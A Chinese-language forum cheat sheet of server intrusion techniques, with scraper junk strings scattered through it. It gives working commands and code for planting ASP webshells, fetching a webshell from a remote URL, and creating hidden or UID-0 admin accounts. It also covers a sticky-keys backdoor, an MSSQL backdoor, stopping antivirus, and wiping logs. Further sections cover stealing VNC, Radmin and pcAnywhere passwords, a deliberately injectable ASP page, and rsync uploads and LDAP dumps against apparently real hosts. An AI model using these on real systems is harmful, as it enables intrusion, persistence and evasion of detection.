渗透技巧总结

admin

旁站路径问题
& U0 K& ^' R8 s+ d; U9 d& D$ K0 H1、读网站配置。
2、用以下VBS
On Error Resume Next
2 L# |" Y7 Y5 p# t- VIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
5 Z0 ]4 B8 l6 [# m        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

1 Y9 p: f. q6 gUsage:Cscript vWeb.vbs",4096,"Lilo"
- m  _' g$ R8 v1 b) Y6 R% {. e        WScript.Quit
End If
) u5 J* E  `2 W+ lSet ObjService=GetObject
. R: h6 n! H& X8 y
/ \9 `9 V( [5 _, T7 I$ Z0 c("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
# R; J, H3 f0 P8 l7 X        If IsNumeric(obj3w.Name)
7 ]% {, H$ u5 p
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
1 B8 c3 T  O+ C  f' H
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

' ]% j3 H9 u. s* x9 J5 W& M<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
7 ~& z: |$ R, a1 v
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
+ ^* H4 u  G5 \# E4 y+ x     
6 Y7 T* G  m- o6 t
- l/ N6 c4 n  v( ?3 W                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
( K9 ~# C  ]6 l) u0 a                        
. v- g! }/ @: e& _6 D
0 R1 p/ G% e5 ~: _5 g( s4 xWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
1 D( j; V1 D3 Y! c5 x' u7 C* h- f      
8 f+ V# H5 e/ s# \. n  P5 `8 U
         WScript.Echo "ath            : " & VDirObj.Path
7 l! n5 J# b! ]0 a; G        End If
' x. J& }6 H$ T& aNext
复制代码
1 d$ q3 u$ N* }5 |' j* O' f- @3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
" a+ A! _- v/ Q- A! L2 }% L, G—————————————————————
$ N- w$ {; R' w4 W" X" uWordPress的平台，爆绝对路径的方法是：
& J% _% {9 r' X' durl/wp-content/plugins/akismet/akismet.php
* ^1 ~5 I8 b& \; s6 L4 lurl/wp-content/plugins/akismet/hello.php
+ R% A3 Y2 F8 N) c( W——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
( Q9 y* R, ~& BphpMyAdmin/darkblue_orange/layout.inc.php
" l6 y: P+ P2 N, _phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
/ k* @4 [2 ^& G- m. `: _9 v网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
% V/ L- Y6 g9 |( I$ B/ aCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
' a; R  Y! {, Gnetsh ras show user #查看哪些用户可以拨入VPN
) C& g3 J8 E/ M  w) Inetsh ras ip show config #查看VPN分配IP的方式
  z. r: M5 C& r2 Vnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
% X- y1 Z0 K/ c. e+ b命令行下添加SQL用户的方法
9 z8 N3 I7 o1 b7 l7 C- @) L) |" N需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
: l% G0 ~' ~+ r& j4 k然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
  n% Z  V: S8 d
9 ]- T" ^0 Z" R7 m3 d另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
$ ?- ?& q  l% V7 Gvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
/ \3 S- \0 g) p1 c1 q9 uz.changePassword("123456","")
, j$ i8 r$ b& {' i/ r% ~z.setting("AccountType")=3;

" A3 `* m  i* ^' B0 \2 {1 p+ xvbs:
Set   o=CreateObject( "Shell.Users" )
! _1 `/ M& \0 i" x  W0 e7 HSet z=o.create("test")
! T* M0 T, k3 \* H. h  \% Vz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
  M  _' l  L2 p8 k
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
! [! C3 A. t* k6 J" B+ O————————以下配合PR更好————
& f* _( c$ Z" U$ ]3389相关
+ ^6 ]" I+ I  a& g) Qa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
3 K3 x- s  P% [: J7 qc、终端服务器超出了最大允许连接
% T' I+ _4 q" ^$ O/ u0 e) C' oXP 运行mstsc /admin
2003 运行mstsc /console   
8 i% S# @# h6 b" |  `
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
1 l5 t9 N' G% {4 F8 o3 Jnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
4 o# `) d/ }% t" [" X5 ^2 q% s
: U" p0 y1 K( J: A* }% J0 \5 @+ y卖咖啡：net stop "McAfee McShield"
" c, U, a/ {/ r1 Q————————————————————
, t, c/ Z: l3 j4 p: }" \/ U. e
% Q8 v9 c( r, r- l) o# I1 C5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
8 y* b# A2 v6 \% V, D* Ocopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
6 o3 T! G7 j( S1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
+ @) G) Q6 C9 j* J3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
! {  [) X* y1 r5 `- |; D4、利用Hacker Defender把相关用户注册表隐藏
; S& `. i/ c# ~——————————————————————
! q' M: V- h1 o  S: N- Q! E  KMSSQL扩展后门：
% I1 f! n( C: b6 E: ?% D2 E! CUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
" M; ~+ s' I" w& s% R4 w———————————————————————
日志处理
! Y: @- J; o0 XC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
7 E1 C8 E: u) ~6 T0 N, F不成功，“原文件...正在使用”
" ~1 m8 \3 U9 D当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
5 _' }) W% L. E, W2 I" o当停止msftpsvc服务后可直接删除ex011124.log
6 x8 g! j$ S4 n. G& w
7 m" Z) y% r! O# C2 `% u, I# dMSSQL查询分析器连接记录清除：
% |8 Y; ~* [  K# p9 v/ R4 ]; U' gMSSQL 2000位于注册表如下：
# Y% {/ x) `7 d& y- n" hHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
. v/ j2 C9 ?# P0 t/ ~7 ]MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

( Z# @9 A2 X* W% ZServer\90\Tools\Shell\mru.dat
% }- ^9 p) K+ i; w2 }—————————————————————————
, s5 G8 D& @# Q9 y5 W9 @0 V防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
6 V; s$ c) k8 Z! @. kSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
$ g( O2 Q9 {4 A$ UOn Error Resume Next
9 j5 T! l6 P3 P' z! ~Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
$ E! P2 h8 J2 r" [.Open "Get", s_RemoteFileUrl, False, "", ""
! n( L* B5 @, _. m' y" S0 W.Send
: W$ G' v6 l7 d! O& y" }0 ?GetRemoteData = .ResponseBody
End With
( {7 w+ P: C7 @: R, o# d' USet Retrieval = Nothing
. k% h) O( c- @Set Ads = Server.CreateObject("Adodb.Stream")
* o/ E' D% S& zWith Ads
.Type = 1
4 Z' W6 w0 E3 e.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
( t, m7 e3 h4 dEnd With
Set Ads=nothing
* D; ^( d1 n% tEnd Sub
2 ]& Z  t+ j; ?
# \8 W- n" a* {8 t7 N) L9 EeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
' |+ O8 K( X2 q3 H5 Z* Y注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
1 X7 n" V- y3 b% {! k$ p5 Jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
) C$ k: k5 d7 [, JRadmin 默认端口是4899，
1 Z; Y5 v3 S0 ]9 ~5 a* YHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
' s3 u0 S7 t- e6 G: @+ y3 b0 x然后用HASH版连接。
+ P6 j, `# ?6 s9 x如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
' p& Z& a  n# `/ c3 JUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
- W( r0 s" X* E搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
! c2 Y8 f9 E( F0 z- B3 K5 W- VWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
, [$ G' }7 D7 t9 w7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
. B; X: R1 Q, D1 S, OstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
% ^* f- x  s* y; ESet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
8 g; S2 ?1 a$ O( g
; h3 n: W- Y# u0 J";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
* s" ]& Z+ ?+ k
strSQLDBName & ";"
( ^1 ?. x7 A4 C* D) F; {! E# oconn.open strCon
- b. l' |6 @- odim rs,strSQL,id
/ o  O! T5 M- n- `' H2 M5 F/ z; O) fset rs=server.createobject("ADODB.recordset")
( G/ F& w' X: I* M" {3 Nid = request("id")
$ |( R: f- Q0 F( f% SstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
' r, I: k( w% e( [%>
复制代码
" S( U# Q* J, y  G0 Q* E******liunx 相关******
& p1 v* s( e! }一.ldap渗透技巧
# m. I5 l* r9 }+ A' D! M9 i" T1.cat /etc/nsswitch
7 _6 @5 \7 x1 v2 ]看看密码登录策略我们可以看到使用了file ldap模式
2 x8 z: J4 o+ Q4 O( `$ Q
: l- B( V+ d" r- @. t2.less /etc/ldap.conf
- j4 E  N8 u  v. b' Kbase ou=People,dc=unix-center,dc=net
+ D! a$ v! t) ], H. _% R找到ou,dc,dc设置
* Y" z% a- |1 ~6 n. ^% o( p
0 e& u/ M' z4 a6 w4 I, U. K3.查找管理员信息
- ?# }. W! U6 z匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
  H7 `9 Y# ]0 D/ Z+ |" s& e. \" x
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
& Z! E, H  u  Dldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
/ @+ M& M2 O) g/ z7 |4 i
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

8 f- t# ^5 x) D! \5 V% D5 \
" s) ?+ V. r% g& a. S4.查找10条用户记录
5 b8 z  s; J6 C1 `7 c9 y: ~) T6 ^ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
/ Y; e! I# j4 H5 b" ~1.cat /etc/nsswitch
5 d0 y8 e# t6 y: |  J看看密码登录策略我们可以看到使用了file ldap模式
9 {7 ^- }% Z- x
0 G$ H! M: K3 ]0 A5 f2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

( \$ o% D' g6 k4 o3 e/ P3.查找管理员信息
匿名方式
$ [; [6 k/ f% Q! a* \3 E" Oldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 Q' ~8 n  X  d+ J
* g# s+ D* v  H' b7 r"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

5 s  W' s& U% H; G8 t6 q/ \! Q9 K渗透实战:
1.返回所有的属性
' l! b3 [* R; C7 @+ D' k; bldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
: B. A" @+ m/ X1 M) o3 O7 |dn: dc=ruc,dc=edu,dc=cn
7 a( o1 x$ h) E  A/ ~% [5 [/ W1 g7 @dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
: I' _/ ]1 t; s/ c7 f4 a  j( Zuid: manager
objectClass: inetOrgPerson
8 P" l9 T. m5 ^$ |+ x: o. l( k( @objectClass: organizationalPerson
4 L  V$ Z" j  \+ H5 Q) `9 {objectClass: person
objectClass: top
/ K# `, J2 Y) M* Fsn: manager
) j9 V9 {; f' c+ q3 H9 Zcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
9 c5 r# z; b7 K+ g- [8 Wuid: superadmin
( }( j$ R* l9 c: ^9 p/ X- EobjectClass: inetOrgPerson
objectClass: organizationalPerson
9 u9 c8 t* k: v+ G, gobjectClass: person
! N1 u; C" t% H. W4 N; O. AobjectClass: top
sn: superadmin
; D( y4 ^2 B0 J: tcn: superadmin

/ D5 A8 G& z, A+ H9 Pdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
; L8 ?& [7 ^" @1 x, _- kobjectClass: organizationalPerson
# ~% f. v3 ~" f( s4 Q6 WobjectClass: person
6 Z' b& o: c1 U- }objectClass: top
sn: admin
cn: admin
* ^8 A3 d* r& }  |' s0 q
* O2 }: Z( d0 vdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
" N9 z" D+ `1 {- [/ ouid: dcp_anonymous
objectClass: top
4 ]6 j0 W% D3 F) z2 gobjectClass: person
6 Z" i" w8 c8 r7 G9 D9 c) R9 xobjectClass: organizationalPerson
objectClass: inetOrgPerson
/ g8 W* r* ~3 U" esn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
1 l+ k5 W: U9 N* M0 B2 `bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
+ ~, r* [& h& o3 X1 N
more
version: 1
- |  U5 Z3 u: rdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
, d) e- a* j2 N7 x" \, R; nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
) l% s# D: @' ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
- |5 _  q4 b4 ?$ J5 KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
# t, }0 R7 Z  V! v. ?+ `& @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
' [% o" M7 [9 N6 _/ |: q6 E- ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
% C1 K# D( o: O1 z& B7 X, d& UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
% g4 k! _4 c, B! P( dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
: f! M. A3 Z/ v. Q8 c8 o3 jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
( s5 W0 L, ^$ F% r+ EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
: W  l; E' `1 L+ t0 j5 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
0 r5 S  e# R# y6 p9 I* BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
" y0 L$ I0 q- f2 a+ U# H. FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
# x* b( U  Q7 u: @( l* M. wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
& }- H* t5 G7 \2 Z. q  j5 ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
- \3 A9 c% E! f0 I* }. \5 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
: Q. W' O+ k2 y7 Q) J% C4 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
( W9 L$ w" [) b( n( @9 l; P, M" msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
0 W, R6 x3 T$ R. t2 s9 P, {supportedExtension: 1.3.6.1.4.1.4203.1.11.3
" V/ f* p2 V( U+ A. e) l% `supportedControl: 2.16.840.1.113730.3.4.2
7 ^/ |( U. Q  JsupportedControl: 2.16.840.1.113730.3.4.3
' @) ]( ~1 i8 Z* W1 ~' i, {supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
" b7 K" i7 [+ P9 \) ^2 YsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
, p: x7 a; m& g8 K+ YsupportedControl: 2.16.840.1.113730.3.4.17
- Q8 h3 Z! f$ Y% c5 jsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
4 j# O, r* c. o5 j" SsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
5 @/ m0 w/ Q$ LsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
: N  |, Y& b/ M/ L8 b9 qsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
4 ^/ s# d! h* JsupportedControl: 2.16.840.1.113730.3.4.14
, C- m; |+ C( M1 OsupportedControl: 1.3.6.1.4.1.1466.29539.12
3 \; N$ g0 b- [0 C' |$ B2 H" V& }3 L! {supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
5 ?) S0 s2 V2 [& c5 i- rsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
. h- v  e, Q$ Q% i1 h; fsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
/ G! G: G8 y  jvendorVersion: Sun-Java(tm)-System-Directory/6.2
: w: S) A$ i, l% F" B0 G1 Udataversion: 020090516011411
  J5 c4 v1 ~5 u4 \( ?4 p$ Znetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
2 [2 U/ W+ L0 U2 P1 C: C8 D: RsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
# P- o8 M( Y; `( _supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
2 U/ f. \- S0 ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
6 C" K9 ?7 T% y1 \8 T, ssupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
7 a8 p) x0 k6 s$ c1 a- ssupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
1 X1 G5 Y8 Q) M. c8 l6 W7 u% YsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
* S* U5 ?" _2 v5 Q4 IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
, o- E; h! Q+ T: C. TsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
2 Z6 a8 L5 P! e5 R( ?+ s+ usupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
7 T0 ?% @0 o( j- \- L+ s+ z9 tsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
- X, r  X. K- _, i/ OsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
! S1 P% @( X( a5 X# @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
& ?/ [( v8 Q4 m+ g! A$ S4 fsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
0 _& p: ?0 v3 H7 @0 ]supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
) j: D/ y* ^( A7 T3 Y9 QsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
# `5 Q+ I% a+ X' g- x0 ]supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
5 S. A) \" ?* T, q7 r; TsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
- x0 z+ t9 C8 JsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
2 o' l, U$ P0 LsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
% ^9 p( `; Y( M: y! x6 VsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
/ A. E: ~$ s5 C: ksupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
1 y* N  E+ }8 psupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
) @. {  m7 e3 E) v) {8 r5 g7 s, asupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
; M, i; K$ F( }7 M+ ^* z( T, {supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
, a* q9 O* F+ c% [1 q1 XsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
2 N! w9 u4 o1 [6 RsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
: c. u! x, V, L8 k. nsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
7 R8 A. X2 w6 b. r0 _, w, fsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
) [) i, ]& F$ ]supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
8 B3 F+ B' b+ G! E4 \2. NFS渗透技巧
0 r: o4 J. B4 e" G' H* U3 {3 `4 _showmount -e ip
% P, F& ~( [. a! E列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
0 U7 F! U# C5 y; qfinance
img_finance
  v  y' T; U5 c* B# D; j$ B; e" }auto
6 T1 u! \( }2 b/ @/ K4 uimg_auto
html_cms
img_cms
) x  g, i2 ]) K' M2 w7 ?ent_cms
9 E) y+ |0 ^5 c" m/ b) Bent_img
' ]5 o% M0 h9 u: S4 Kceshi
3 g  _1 C' E& Z- |3 f5 R3 }/ wres_img
/ ~. u( Y# d0 m$ P% Wres_img_c2
chip
: W9 s$ O. ~4 xchip_c2
$ a2 n! r) H4 E8 r- O, E' @ent_icms
games
) h* M6 T( {' i! ^0 A; ]gamesimg
% r% Z; ]$ u& X. T5 kmedia
mediaimg
( \7 e% W8 H6 I% f6 dfashion
2 J+ c/ T- G7 K% Z& kres-fashion
' Q9 _% O$ S. N! _+ r# i" n1 e7 ]res-fo
taobao-home
res-taobao-home
house
. s/ U+ w$ H$ |% N( C& |res-house
1 I& L! v1 q/ `res-home
res-edu
res-ent
res-labs
res-news
) }0 p0 N4 t7 ^5 Q* M: @  i, k& Zres-phtv
res-media
1 p5 ?: Z* v# R5 _/ [0 mhome
. {  z9 B) O0 j, l3 Q! F+ N" J" q0 ~edu
news
  Q6 L4 K! U. m3 i2 ~. ]/ E0 Dres-book
" M  t  E$ ?' u# c& G
看相应的下级目录(注意一定要在目录后面添加上/)
+ `& \; X3 O5 N

rsync 210.51.X.X::htdocs_app/
' M+ f9 E) X! f2 \+ v6 Srsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
& [( O$ x( @+ Y: \rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
% K, o5 G+ }& h- E! F- [3 x
  `' a$ N5 E) N# T3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
" K; ]" a: Y% Y9 H
四.squid渗透技巧
! Z# Q3 q- C8 Lnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
5 r3 `" Q# s0 d7 N3 H. S* z* ]五.SSH端口转发
( I& K* F. \( k7 z' Qssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
+ D3 X5 U2 n- Y% x3 j5 y' ?% ^' i
六.joomla渗透小技巧
确定版本
4 O* Q1 B* v0 P5 Lindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
3 R* C5 r+ p+ L$ s. F* \
15&catid=32:languages&Itemid=47

重新设置密码
! W' x3 L4 Y( s4 R5 t; {3 w! ]index.php?option=com_user&view=reset&layout=confirm
) j! S! ?2 t- K. d/ r  p
, h& w* k; z' X0 _( t七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
